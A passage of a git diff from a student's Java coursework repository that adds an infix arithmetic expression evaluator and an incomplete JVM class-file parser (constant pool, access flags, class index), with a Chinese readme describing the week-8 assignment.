 .../week08/src/test/java/InfixExprTest.java   |  52 +++++++++
 .../week08/src/test/java/TokenParserTest.java |  41 +++++++
 23 files changed, 943 insertions(+)
 create mode 100644 group11/1178243325/week08/build.gradle
 create mode 100644 group11/1178243325/week08/readme.md
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/datastructure/InfixExpr.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/datastructure/Token.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/datastructure/TokenParser.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/AccessFlag.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/ClassFile.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/ClassIndex.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ClassInfo.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ConstantPool.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/StringInfo.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/UTF8Info.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
 create mode 100644 group11/1178243325/week08/src/main/java/com/sprint/jvm/util/Util.java
 create mode 100644 group11/1178243325/week08/src/test/java/InfixExprTest.java
 create mode 100644 group11/1178243325/week08/src/test/java/TokenParserTest.java

diff --git a/group11/1178243325/week08/build.gradle b/group11/1178243325/week08/build.gradle
new file mode 100644
index 0000000000..f46c5add86
--- /dev/null
+++ b/group11/1178243325/week08/build.gradle
@@ -0,0 +1,12 @@
+apply plugin: 'java'
+
+repositories {
+	mavenCentral()
+}
+
+dependencies {
+	compile("commons-io:commons-io:2.4")
+	//compile("commons-lang:commons-lang:2.6")
+	compile("org.apache.commons:commons-lang3:3.4")
+	testCompile("junit:junit:4.12")
+}
diff --git a/group11/1178243325/week08/readme.md b/group11/1178243325/week08/readme.md
new file mode 100644
index 0000000000..0a19cc9b31
--- /dev/null
+++ b/group11/1178243325/week08/readme.md
@@ -0,0 +1,13 @@
+## 讲课内容：
+
+## 第八周作业（04-10 至 04-16)
+- 实现对一个.class文件的字段和方法的读取,需要实现的类是ClassFileParser.java及其相关的类,实现后需要通过测试:ClassFileloaderTest.java
+- 数据结构,实现InfixExpr.java，需要通过InfixExprTest.java
+- 写一篇文章
+
+## 完成情况：
+- jvm未完
+- 其余已完
+
+## 我的收获：
+其实最难是坚持
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/datastructure/InfixExpr.java b/group11/1178243325/week08/src/main/java/com/sprint/datastructure/InfixExpr.java
new file mode 100644
index 0000000000..dc302720da
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/datastructure/InfixExpr.java
@@ -0,0 +1,61 @@
+package com.sprint.datastructure;
+
+import java.util.List;
+import java.util.Stack;
+public class InfixExpr {
+	String expr = null;
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for (Token token : tokens) {
+			if (token.isOperator()) {
+				while (!opStack.isEmpty()
+						&& !token.hasHigherPriority(opStack.peek())) {
+					Token prevOperator = opStack.pop();
+					Float f2 = numStack.pop();
+					Float f1 = numStack.pop();
+					Float result = calculate(prevOperator.toString(), f1, f2);
+					numStack.push(result);
+				}
+				opStack.push(token);
+			}
+
+			if (token.isNumber()) {
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+
+		while (!opStack.isEmpty()) {
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1, f2));
+		}
+
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2) {
+		if (op.equals("+")) {
+			return f1 + f2;
+		}
+		if (op.equals("-")) {
+			return f1 - f2;
+		}
+		if (op.equals("*")) {
+			return f1 * f2;
+		}
+		if (op.equals("/")) {
+			return f1 / f2;
+		}
+		throw new RuntimeException (op + " is not supported ");
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/datastructure/Token.java b/group11/1178243325/week08/src/main/java/com/sprint/datastructure/Token.java
new file mode 100644
index 0000000000..c776b1c97a
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/datastructure/Token.java
@@ -0,0 +1,53 @@
+package com.sprint.datastructure;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.HashMap;
+import java.util.Map;
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String, Integer> priorities = new HashMap<>();
+	
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}	
+
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+
+	String value;
+	int type;
+
+	public Token(int type, String value) {
+		this.type = type;
+		this.value = value;
+	}
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+
+	@Override
+	public String toString() {
+		return value;
+	}
+
+	public boolean hasHigherPriority(Token t) {
+		if (!this.isOperator() && !t.isOperator()) {
+			throw new RuntimeException("number can't compare priority");
+		}	
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/datastructure/TokenParser.java b/group11/1178243325/week08/src/main/java/com/sprint/datastructure/TokenParser.java
new file mode 100644
index 0000000000..2985d0e32f
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/datastructure/TokenParser.java
@@ -0,0 +1,45 @@
+package com.sprint.datastructure;
+
+import java.util.ArrayList;
+import java.util.List;
+public class TokenParser {
+	
+	public List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();	
+		int i = 0;
+		while (i < expr.length()) {
+			char c = expr.charAt(i);
+			if (isOperator(c)) {
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+			} else if (Character.isDigit(c)) {
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+			} else {
+				System.out.println("char :[" + c + "] is not number or operator, ignore" );
+				i++;
+			}
+		}
+		return tokens;
+	}
+
+	private boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+
+	private int indexOfNextOperator(int i, String expr) {
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+	}
+
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/AccessFlag.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..e74740aa3e
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.sprint.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue; 
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flagValue) {
+		this.flagValue = flagValue;
+	}
+
+	public boolean isPublicClass() {
+		return (this.flagValue & 0x0001) != 0;
+	}
+
+	public boolean isFinalClass() {
+		return (this.flagValue & 0x0010) != 0;
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/ClassFile.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..4e5aad16f9
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/ClassFile.java
@@ -0,0 +1,71 @@
+package com.sprint.jvm.clz;
+
+import com.sprint.jvm.constant.ConstantPool;
+import com.sprint.jvm.constant.ClassInfo;
+public class ClassFile {
+	private int minorVersion;
+	private int majorVersion;
+
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	} 
+
+	public ClassIndex getClassIndex() {
+		return clzIndex;
+	}
+
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;
+	}
+
+	public ConstantPool getConstantPool() {
+		return pool;
+	}
+
+	public void setConstantPool(ConstantPool pool) {
+		this.pool = pool;
+	}
+
+	public void print() {
+		if (this.accessFlag.isPublicClass()) {
+			System.out.println("Access flag : public ");
+		}
+		System.out.println("Class Name:" + getClassName() );
+		System.out.println("Super Class Name:" + getSuperClassName());
+	}
+
+	private String getClassName() {
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);	
+		return thisClass.getClassName();
+	}
+
+	private String getSuperClassName() {
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/ClassIndex.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..46e7443d90
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/clz/ClassIndex.java
@@ -0,0 +1,22 @@
+package com.sprint.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+
+	public void setThisClassIndex(int index) {
+		this.thisClassIndex = index;
+	}
+
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+
+	public void setSuperClassIndex(int index) {
+		this.superClassIndex = index;
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ClassInfo.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..b8da3c656d
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.sprint.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index;
+
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public void setUtf8Index(int index) {
+		this.utf8Index = index;
+	}
+
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public String getClassName() {
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ConstantInfo.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..a8db82689e
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.sprint.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo() {}
+
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+
+	public abstract int getType();
+
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantPool.getConstantInfo(index);
+	}
+
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ConstantPool.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..3a35c22ce0
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/ConstantPool.java
@@ -0,0 +1,28 @@
+package com.sprint.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>(); 
+
+	public ConstantPool() {
+		
+	}
+
+	public void addConstantInfo(ConstantInfo info) {
+		this.constantInfos.add(info);
+	}
+
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantInfos.get(index);
+	}
+
+	public String getUTF8String(int index) {
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}	
+
+	public Object getSize() {
+		return this.constantInfos.size() - 1;
+	}
+} 
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..c0eb449085
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo {
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	public String toString() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return getClassName() + ":" + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]"; 
+	}
+
+	public String getClassName() {
+		ClassInfo classInfo = (ClassInfo)this.getConstantInfo(this.getClassInfoIndex());
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		return utf8Info.getValue();
+	}
+
+	public String getFieldName() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+
+	public String getFieldType() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..85bb5c4934
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.sprint.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	private int type = ConstantInfo.METHOD_INFO;
+
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString() {
+		return getClassName() + ":" + this.getMethodName() + ":" + this.getParamAndReturnType(); 
+	}
+
+	public String getClassName() {
+		ConstantPool pool = this.getConstantPool();
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+
+	public String getMethodName() {
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+
+	public String getParamAndReturnType() {
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+}
+
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..492fd6e0db
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo {
+	public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+	private int index1;
+	private int index2;
+
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getIndex1() {
+		return index1;
+	}
+
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+
+	public int getIndex2() {
+		return index2;
+	}
+
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+
+	public String getName() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue(); 
+	}
+
+	public String getTypeInfo() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+
+	public String toString() {
+		return "(" + getName() + "," + getTypeInfo() + ")";
+	}
+
+
+}
+
+
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..f257cea240
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,12 @@
+package com.sprint.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+	public NullConstantInfo() {
+	
+	}
+
+	@Override
+	public int getType() {
+		return -1;
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/StringInfo.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..73c58a5e71
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.sprint.jvm.constant;
+
+public class StringInfo extends ConstantInfo {
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+
+	public StringInfo(ConstantPool constantPool) {
+		super(constantPool);
+	} 
+
+	public int getType() {
+		return type;
+	} 
+
+	public int getIndex() {
+		return index;
+	}
+
+	public void setIndex(int index) {
+		this.index = index;
+	}  
+
+	public String toString() {
+		return this.getConstantPool().getUTF8String(index);
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/UTF8Info.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5516999c0e
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/constant/UTF8Info.java
@@ -0,0 +1,35 @@
+package com.sprint.jvm.constant;
+
+public class UTF8Info extends ConstantInfo {
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length; 
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getLength() {
+		return length;
+	}
+
+	public void setLength(int length) {
+		this.length = length;
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public String getValue() {
+		return value;
+	}
+
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + "]";
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..fc5d1b2ac2
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,50 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.util.Util;
+import java.util.Arrays;
+public class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}	
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++]});
+	} 
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++], codes[pos++]});
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString(new byte[] {codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+
+
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..f190f54915
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.clz.ClassFile;
+import java.io.IOException;
+import java.io.File;
+import java.io.FileInputStream;
+import java.util.List;
+import java.util.ArrayList;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+public class ClassFileLoader {
+	private List<String> clzPaths = new ArrayList<String>();
+	public byte[] readBinaryCode(String className) {
+		className = className.replace('.', File.separatorChar) + ".class";
+		for (String path : this.clzPaths) {
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if (codes != null) {
+				return codes;
+			}
+		}
+		return null;
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+		File f = new File(clzFileName);
+		try {
+			return IOUtils.toByteArray(new FileInputStream(f));	
+		} catch(IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+	public void addClassPath(String path) {
+		if (this.clzPaths.contains(path)) {
+			return;
+		}
+		this.clzPaths.add(path);
+	}
+
+	public String getClassPath() {
+		return StringUtils.join(this.clzPaths, ";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+	}
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ClassFileParser.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..4b77190a04
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
@@ -0,0 +1,107 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.clz.ClassFile;
+import com.sprint.jvm.clz.AccessFlag;
+import com.sprint.jvm.clz.ClassIndex;
+import com.sprint.jvm.constant.ClassInfo;
+import com.sprint.jvm.constant.ConstantPool;
+import com.sprint.jvm.constant.FieldRefInfo;
+import com.sprint.jvm.constant.NameAndTypeInfo;
+import com.sprint.jvm.constant.NullConstantInfo;
+import com.sprint.jvm.constant.MethodRefInfo;
+import com.sprint.jvm.constant.StringInfo;
+import com.sprint.jvm.constant.UTF8Info;
+import java.io.UnsupportedEncodingException;
+public class ClassFileParser {
+	public ClassFile parse(byte[] codes) {
+		ClassFile clzFile = new ClassFile(); 		
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		String magicNumber = iter.nextU4ToHexString();
+		if (!"cafebabe".equals(magicNumber)) {
+			return null;
+		}
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		System.out.println("minor:" + clzFile.getMinorVersion());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+		System.out.println("marjor:" + clzFile.getMajorVersion());
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstantPool(pool);
+		
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+
+		ClassIndex clzIndex = parseClassIndex(iter);
+		clzFile.setClassIndex(clzIndex);
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		return flag;
+	}
+	
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+
+		ClassIndex clzIndex = new ClassIndex();
+		clzIndex.setThisClassIndex(thisClassIndex);
+		clzIndex.setSuperClassIndex(superClassIndex);
+		return clzIndex;
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		int constPoolCount = iter.nextU2ToInt();
+		System.out.println("Constant Pool Count :" + constPoolCount);
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
+		for (int i = 1; i <= constPoolCount - 1; i++) {
+			int tag = iter.nextU1ToInt();
+			if (tag == 7) {
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+				pool.addConstantInfo(clzInfo);
+			} else if (tag == 1) {
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(len);
+				String value = null;
+				try {
+					value = new String(data, "UTF-8");	
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+
+				UTF8Info utf8Str = new UTF8Info(pool);
+				utf8Str.setLength(len);
+				utf8Str.setValue(value);
+				pool.addConstantInfo(utf8Str);
+			} else if (tag == 8) {
+				StringInfo info = new StringInfo(pool);
+				info.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(info);
+			} else if (tag == 9) {
+				FieldRefInfo field = new FieldRefInfo(pool);
+				field.setClassInfoIndex(iter.nextU2ToInt());
+				field.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(field);
+			} else if (tag == 10) {
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(iter.nextU2ToInt());
+				method.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(method);
+			} else if (tag == 12) {
+				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+				nameType.setIndex1(iter.nextU2ToInt());
+				nameType.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameType);
+			} else {
+				throw new RuntimeException("the constant pool tag:" + tag + "has no been implemented yet.");
+			} 
+		}	
+		System.out.println("Finished reading Constant Pool");
+		return pool;
+	}
+
+
+}
diff --git a/group11/1178243325/week08/src/main/java/com/sprint/jvm/util/Util.java b/group11/1178243325/week08/src/main/java/com/sprint/jvm/util/Util.java
new file mode 100644
index 0000000000..0f5dc89626
--- /dev/null
+++ b/group11/1178243325/week08/src/main/java/com/sprint/jvm/util/Util.java
@@ -0,0 +1,22 @@
+package com.sprint.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes) {
+		String s1 = byteToHexString(codes);
+		return Integer.valueOf(s1, 16).intValue();
+	}
+
+	public static String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}	
diff --git a/group11/1178243325/week08/src/test/java/InfixExprTest.java b/group11/1178243325/week08/src/test/java/InfixExprTest.java
new file mode 100644
